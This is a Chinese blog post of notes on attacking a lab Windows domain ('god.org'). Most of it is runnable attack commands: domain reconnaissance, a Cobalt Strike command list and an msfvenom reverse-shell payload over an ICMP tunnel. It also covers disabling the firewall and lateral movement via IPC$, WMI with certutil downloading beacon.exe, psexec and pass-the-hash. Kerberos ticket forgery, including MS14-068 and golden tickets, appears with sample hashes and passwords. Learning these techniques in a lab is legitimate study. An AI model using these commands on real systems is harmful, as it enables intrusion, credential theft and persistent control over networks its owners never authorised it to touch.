内网安全学习

环境下载在这里,需要请自行下载链接:https://pan.baidu.com/s/1yVrX9v5cMV9_BuBmW5OlDg?pwd=vsi3 
提取码:vsi3 
--来自百度网盘超级会员V2的分享

域内一共有五台主机,都在192.168.3.0网段,需要自行在webserver上添加NAT模式网卡

域在我的理解就是一个局域网,管理员为了便于操作域内主机,通常会有一个DC(domain control),域控主机可以直接控制其他域内主机,相当于域内的管理员权限,内网渗透的终极目的即拿到域控的权限。

在域控中的主机可以有两种登录方式,普通账户登录和域内账户登录,普通域内用户的权限是很低的,安装程序,修改密码等等都需要向域控申请才能完成。

域控机器

如图,域控可以管理域内的机器和用户

域内信息收集

当我们拿下一台主机后,可以通过

systeminfo 详细信息
netstat -ano 端口列表
route print 路由表
net start 启动服务
tasklist 进程列表
schtasks 计划任务
ipconfig /all 判断存在域
net view /domain 判断存在域
net time /domain 判断主域
netstat -ano 当前网络端口开放
nslookup 域名 追踪来源地址
wmic service list brief 查询本机服务
net config workstation 查询当前登录域及登录用户信息
wmic startup get command,caption 查看已启动的程序信息

 如图,我的电脑是一台个人主机,没有域

 现在,我再用域内的web服务器用户,可以看到有god域

当判断自己在域中,可以尝试进行信息收集

net view /domain 查询域列表
net time/domain 从域控查询时间,若当前用户是域用户会从域控返回当前时间,亦
用来判 断主域,主域一般用做时间服务器
net localgroup administrators 本机管理员【通常含有域用户】
net user /domain 查询域用户 ( 当前域 )
net group /domain 查询域工作组
net group "domain computers" /domain 查看加入域的所有计算机名
net group "domain admins" /domain 查询域管理员用户组和域管用户
net localgroup administrators /domain 查看域管理员
net group "domain controllers" /domain 查看域控
net accounts /domain 查看域密码策略 

 查看本机管理员

查看域内主机

 查看域管理员用户

 查看域控主机

我们想要通过域内主机拿到域控权限,首先就要获得目标IP地址

net time /domain 获取域控主机名,ping获取目标IP

God.org环境搭建

 这里我给web服务器加上连接外网的网卡,所有主机在同一内网

这里我使用CS这一工具,CS在内网渗透比较方便

CS命令大全

browserpivot 注入受害者浏览器进程
sleep 3 全部命令3秒执行
bypassuac 绕过UAC
cancel 取消正在进行的下载
cd 切换目录
checkin 强制让被控端回连一次
clear 清除beacon内部的任务队列
connect Connect to a Beacon peerover TCP
covertvpn 部署Covert VPN客户端
cp 复制文件
dcsync 从DC中提取密码哈希
desktop 远程VNC
dllinject 反射DLL注入进程
dllload 使用LoadLibrary将DLL加载到进程中
download 下载文件
downloads 列出正在进行的文件下载
drives 列出目标盘符
elevate 尝试提权
execute 在目标上执行程序(无输出)
execute-assembly 在目标上内存中执行本地.NET程序
exit 退出beacon
getprivs Enable system privileges oncurrent token
getsystem 尝试获取SYSTEM权限
getuid 获取用户ID
hashdump 转储密码哈希值
help 帮助
inject 在特定进程中生成会话
jobkill 杀死一个后台任务
jobs 列出后台任务
kerberos_ccache_use 从ccache文件中导入票据应用于此会话
kerberos_ticket_purge 清除当前会话的票据
kerberos_ticket_use 从ticket文件中导入票据应用于此会话
keylogger 键盘记录
kill 结束进程
link Connect to a Beacon peerover a named pipe
logonpasswords 使用mimikatz转储凭据和哈希值
ls 列出文件
make_token 创建令牌以传递凭据
mimikatz 运行mimikatz
mkdir 创建一个目录
mode dns 使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)
mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http 使用HTTP作为通信通道
mv 移动文件
net net命令
note 备注
portscan 进行端口扫描
powerpick 通过Unmanaged PowerShell执行命令
powershell 通过powershell.exe执行命令
powershell-import 导入powershell脚本
ppid Set parent PID forspawned post-ex jobs
ps 显示进程列表
psexec Use a service to spawn asession on a host
psexec_psh Use PowerShell to spawn asession on a host
psinject 在特定进程中执行PowerShell命令
pth 使用Mimikatz进行传递哈希
pwd 当前目录位置
reg Query the registry
rev2self 恢复原始令牌
rm 删除文件或文件夹
rportfwd 端口转发
run 在目标上执行程序(返回输出)
runas 以另一个用户权限执行程序
runasadmin 在高权限下执行程序
runu Execute a program underanother PID
screenshot 屏幕截图
setenv 设置环境变量
shell cmd.exe  打开cmd终端
shell ipconfig 执行ipconfig命令
shinject 将shellcode注入进程
shspawn 生成进程并将shellcode注入其中
sleep 设置睡眠延迟时间
socks 启动SOCKS4代理
socks stop 停止SOCKS4
spawn Spawn a session
spawnas Spawn a session as anotheruser
spawnto Set executable tospawn processes into
spawnu Spawn a session underanother PID
ssh 使用ssh连接远程主机
ssh-key 使用密钥连接远程主机
steal_token 从进程中窃取令牌
timestomp 将一个文件时间戳应用到另一个文件
unlink Disconnect from parentBeacon
upload 上传文件
wdigest 使用mimikatz转储明文凭据
winrm 使用WinRM在主机上生成会话
wmi 使用WMI在主机上生成会话
argue 进程参数欺骗

我们可以利用工具进行信息收集,先假设我们获得了web服务器的权限

进行端口扫描

 

这里,我们确定了三个目标

192.168.3.21:445 (platform: 500 version: 6.1 name: OWA2010CN-GOD domain: GOD)

5065 5060 3389 995 993 808 636 593 587 464 443 389 143 139 135 110 88 80 53 25 445 

192.168.3.25:445 (platform: 500 version: 6.1 name: MARY-PC domain: GOD)
192.168.3.31:445 (platform: 500 version: 6.1 name: WEBSERVER domain: GOD)

使用CS的权限提升插件将拿到的权限进行权限提升

 拿到system权限后可以进行密码抓取

 我们可以假设域内有相同密码的机器,使用抓取的密码进行横向移动

这里失败了,前面做好信息收集确定目标用户信息后进行横向移动

隧道技术 

在内网渗透中,可能会出现内网机器开启防火墙,对入站和出站规则进行限制,因此我们需要学习隧道技术,隧道和代理是不一样的,隧道解决的是两个网络本来可以通信,因为防火墙等的限制需要采用其他协议来进行通信,代理解决的是不能通信的网络通过跳板机完成实现通信的效果

如图,开启防火墙,拒绝所有TCP连接

 这时候,我们的木马自然不起作用了,但是ping命令是可以用的,所以可以借助ICMP搭建隧道

kali生成MSF木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=127.0.0.1 lport=6666 -f exe >msf.exe

kali开启监听

 

 kali开启隧道

控制目标机器以管理员权限运行隧道

 运行kali生成木马

目标机器成功上线msf

这里的原理是通过木马 监听目标机器的6666端口,通过隧道将3333端口的流量通过ICMP协议转化到kali,再由隧道的服务端将ICMP转换成TCP,实现权限传递

隧道技术解决的是后渗透阶段将权限移交给MSF,CS等工具的问题

ICMP隧道        ping命令

DNS隧道        nslookup命令

代理技术

在内网渗透的过程中,经常遇到目标域只有一个web服务器连接外网,其他主机全部在内网环境,而想要进行内网渗透,就需要借助域暴露在外网的主机作为跳板机,实现内网的横向移动

MSF

现在MSF获得了域暴露在外网服务器的权限

 msf需要配置路由,这是和CS不同一点

 run post/multi/manage/autoroute 

run autoroute -p

background 

search socks

use auxiliary/server/socks_proxy  

run

 使用Sockscap工具,设置MSF服务器为代理

 如图,成功访问位于内网的主机

 这里还有一个代理工具,适合Windows系统

 

 CS

CS设置代理转发

 根据CS客户端选择代理

同样可以建立连接

 上线

这里先设置TCP监听器,然后生成stageless模式后门

 假设我们已经获得了目标的权限,可是目标在内网,需要移交权限给CS进行后渗透,运行后门

 然后再通过前面已经连接的后门进行正向连接,实现上线

Windows 防火墙命令

Windows防火墙设置的入站和出站规则可能影响内网渗透,如果拥有足够的权限,可以尝试关闭防火墙

Windows 防火墙命令:
https://www.cnblogs.com/tomtellyou/p/16300557.html
查看当前防火墙状态: netsh advfirewall show allprofiles
关闭防火墙: netsh advfirewall set allprofiles state off
开启防火墙: netsh advfirewall set allprofiles state on
恢复初始防火墙设置: netsh advfirewall reset
启用桌面防火墙 : netsh advfirewall set allprofiles state on
设置默认输入和输出策略: netsh advfirewall set allprofiles
firewallpolicy allowinbound,allowoutbound
如果设置为拒绝使用 blockinbound,blockoutbound

 横向移动

网络拓扑图如下

确定域环境

确定域控owa2010cn-god.god.org的IP为192.168.3.21

确定域内用户

右键选择凭证提权,权限提升进行提权,这里我选择的是ms14-058

进行端口扫描

 可以看到,扫描到以下目标

抓取明文密码

还可以抓取hash值,只要有用户登录到这台主机,用户就会将hash写到内存中,这时就可以读取

因为域控机器在内网环境,所以生成的木马需要主动监听端口,然后采用正向连接

IPC

IPC(共享命名管道资源)其实就是为了实现进程间通信而开放的命名管道;IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源使用

at<windows2012

net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\ad
ministrator        建立IPC连接

查看文件目录

将生成的木马上传到被我们控制的webserver

shell copy 4444.exe \\192.168.3.21\c$        拷贝执行文件到目标机器

shell at \\192.168.3.21 21:38 c:\4444.exe        添加计划任务

connect 192.168.3.21 4444        正向连接木马

直接拿到了域控权限

这里也可以通过前面的代理技术反向连接木马

首先设置代理转发

再使用前面的代理生成后门

后门按照前面的步骤传递再执行即可,就不用连接操作了

schtasks >=Windows2012

net use \\192.168.3.32\ipc$ "Admin!@#45" /user:god.org\ad
ministrator # 建立 ipc 连接:
copy beacon.exe \\192.168.3.32\c$ # 复制文件到其 C
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn beacon /sc
DAILY /tr c:\beacon.exe /F # beacon 任务对应执行文件
schtasks /run /s 192.168.3.32 /tn beacon /i # 运行 beacon 任务
schtasks /delete /s 192.168.3.21 /tn beacon /f# 删除 beacon 任务

CS工具

先删除原来的连接

可以看到成功建立了IPC连接

接下来的步骤就是传送木马,运行木马了

也可以删除连接

WMI

WMI 是通过 135 端口进行利用,支持用户名明文或者 hash 的方式进行认证,
并且该方法不会在目标日志系统留下痕迹。
1.wmic
内部: ( 单执行 )
wmic /node:192.168.3.32 /user:administrator /password:admin!@#45
process call create "cmd.exe /c certutil -urlcache -split -f
http://192.168.3.31/beacon.exe c:/beacon.exe"
wmic /node:192.168.3.32 /user:administrator /password:admin!@#45
process call create "cmd.exe c:/beacon.exe"
2.cscript
内置: ( 交互式 )
上传 wmiexec.vbs
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator
Admin12345
3.wmiexec-impacket
外部: ( 交互式 & 单执行 )
wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"
wmiexec -
hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.
3.32 "whoami"
下载后门:
wmiexec ./administrator:admin!@#45@192.168.3.32 "cmd.exe /c
certutil -urlcache -split -f http://192.168.3.31/beacon.exe
c:/beacon.exe"
执行后门:
wmiexec ./administrator:admin!@#45@192.168.3.32 "cmd.exe /c
c:/beacon.exe"

SMB

利用SMB服务可以通过明文或hash传递来远程执行,条件445服务端口开放

1.psexec
内部: ( 交互式 windows 官方工具 )
psexec64 \\192.168.3.32 -u administrator -p admin!@#45 -s cmd
外部: ( 交互式 外人开发的工具 )
psexec -
hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168. 3.32
2.CS
可以使用CS的横向移动psexec方式

PTH

PTH = Pass The Hash ,通过密码散列值 ( 通常是 NTLM Hash) 来进行攻击。
在域环境中,用户登录计算机时使用的域账号,计算机会用相同本地管理员账号和密码。
因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就可以使用哈希传递的方
法登录到内网主机的其他计算机。Windows2003及之前用的是LM加密,不安全可以被逆向破解,所以后面使用NTML加密
NTML加密过程

1、client发送账户名user到server

2、server判断本地账户名是否存在,没有则失败,有的话生成challenge,查找user对应的NTLM哈希,使用哈希加密challenge,生成一个net-ntlm hash存在内存中,将challenge发送给client

3、cLient接受到challenge以后,将自己的密码转换成NTLM哈希,用生成的哈希加密challenge生成response,发送response给server

4、server对比自己内存中的net-ntlm hash与client发来的response是否一致
注意:challenge每次认证都不一样,是一个随机生成的16字节随机数

mimiakatz

(不推荐,弹cmd,能连上rdp时可以使用)

ip不行时就用主机名
连接域用户,导入到了内存中,之后利用票据在进行以下操作
mimikatz sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7
连接本地用户
mimikatz privilege::debug
mimikatz sekurlsa::pth /user:administrator /domain:sqlserver /ntlm:518b98ad4178a53695dc997aa02d455c
net use \\192.168.3.32\c$
copy beacon.exe \\192.168.3.32\c$
sc \\sqlserver create bshell binpath= "c:\4.exe"
sc \\sqlserver start bshell

impaket psexec

本地用户
执行命令
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
弹cmd
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
域用户
 psexec -hashes :518b98ad4178a53695dc997aa02d455c god/administrator@192.168.3.32

crackmapexec

#域用户HASH登录
proxychains4 crackmapexec smb 192.168.3.21-32 -u user.txt -H 518b98ad4178a53695dc997aa02d455c
#本地用户HASH登录,-x参数执行命令
proxychains4 crackmapexec smb 192.168.3.21-32 -u user.txt -H 518b98ad4178a53695dc997aa02d455c --local-auth

PTT

漏洞(ms14-068) 伪造新用户身份

获取SID值:
shell whoami/user
生成票据文件(在本地开代理执行或上传执行都可以,本地执行需要上传票据)
shell ms14-068.exe -u webadmin@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1132 -d 192.168.3.21 -p admin!@#45
清除票据连接
shell klist purge
查看但前票据
shell klist
内存导入票据 (cs自带mimakatz)
mimikatz kerberos::ptc TGT_webadmin@god.org.ccache
查看目标主机目录结构
shell dir \\OWA2010CN-GOD\c$
连接目标上线
shell net use \\OWA2010CN-GOD\C$
copy beacon.exe \\OWA2010CN-GOD\C$
sc \\OWA2010CN-GOD create bindshell binpath= "c:\beacon.exe"
sc \\OWA2010CN-GOD start bindshell

kekeo 利用ntml生成新的票据 

主要是看是不是高权限的ntml,这样生成的票据才能够成功

生成票据(在本地开代理执行或上传执行都可以,本地执行需要上传票据)
shell kekeo "tgt::ask /user:Administrator /domain:god.org /ntlm:ccef208c6485269c20db2cad21734fe7" "exit"
导入票据
shell kekeo "kerberos::ptt TGT_Administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi" "exit"
查看票据(cs自带命令)
shell klist
利用票据连接
shell dir \\owa2010cn-god\c$

mimiakatz 利用的历史遗留票据

主要是看域管理员等一些高权限用户是否登陆过,并且票据没有过期,mimikatz抓取密码时权限要高权限用户才能抓取

导出票据
mimikatz sekurlsa::tickets /export
导入票据
mimikatz kerberos::ptt C:\Users\webadmin\Desktop\[0;22d3a]-2-1-40e00000-Administrator@krbtgt-god.org.kirbi
查看票据
shell klist
利用票据连接
shell dir \\owa2010cn-god\c$

PTK

利用条件:
当系统安装了KB2871997补丁且禁用了NTLM

mimikatz sekurlsa::ekeys mimikatz sekurlsa::pth /user:域用户名 /domain:域名 /aes256:aes256值

权限维持

1 、域名: god.org
2 、域的 SID 值: S-1-5-21-1218902331-2157346161-1782232778
>whoami /user
>whoami /all
>wmic useraccount get name,sid
3 、域的 KRBTGT 账户 NTLM-HASH b097d7ed97495408e1537f706c357fc5
>mimikatz privilege::debug
>mimikatz lsadump::lsa /patch
4 、伪造用户名: webadmin (任意用户名)
生成票据:
mimikatz kerberos::golden /user:webadmin /domain:god.org /sid:S-
1-5-21-1218902331-2157346161-1782232778
/krbtgt:b097d7ed97495408e1537f706c357fc5 /ticket:g
导入内存:
mimikatz kerberos::ptt g
访问测试:
dir \\owa2010cn-god\c$
后期渗透
net use \\owa2010cn-god

  • 30
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值